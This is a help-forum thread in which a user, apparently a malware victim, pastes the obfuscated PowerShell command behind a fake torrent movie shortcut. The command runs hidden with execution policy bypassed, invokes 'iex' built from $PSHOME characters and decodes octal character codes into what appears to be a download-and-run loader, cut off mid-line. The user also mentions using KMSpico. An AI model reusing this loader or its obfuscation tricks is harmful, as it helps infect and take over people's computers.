Powershell command executed by mistake - HELP

[newbie2000]

Hi there! Please can anyone explain what the below powershell command does? My girlfriend downloaded a movie from torrent and the 700 mb file was in fact a shortcut with a target as shown below:

powershell.exe -NoPr -WINd 1 -eXEc ByP  . ( $pshOmE[4]+$PShoMe[30]+'X') ( -JoiN( (44 ,141, 163,160 , 170 ,40 , 75, 40 , 50,50 ,116 , 145 ,167,55 , 117 , 142 , 152,145 , 143 , 164,40,123 ,171,163,164 , 145,155,56 ,116

I am using Windows 10. When checking the windows defender, it said "your virus & threat protection is managed by your organisation". This happened only after the execution of the file, so I am blaming the powershell command for that. Anyway, I fixed it via regedit. So please if anyone knows what other thing is hidden via that command.

[newbie2000]

I was reading the other topics so I am posting these files from farbar. KMSpico is ok for me

FRST.txt

Addition.txt

[AdvancedSetup]

Very sorry for the delay @newbie2000 it looks like  your topic was overlooked.

If you still need assistance though please let me know and I'll be happy to assist you.

Thank you

Ron

 

[AdvancedSetup]

Due to the lack of feedback, this topic is closed to prevent others from posting here.

If you need this topic reopened, please send a Private Message to any one of the moderating team members. Please include a link to this topic with your request.

This applies only to the originator of this topic. Other members who need assistance please start your own topic in a new thread.

Thanks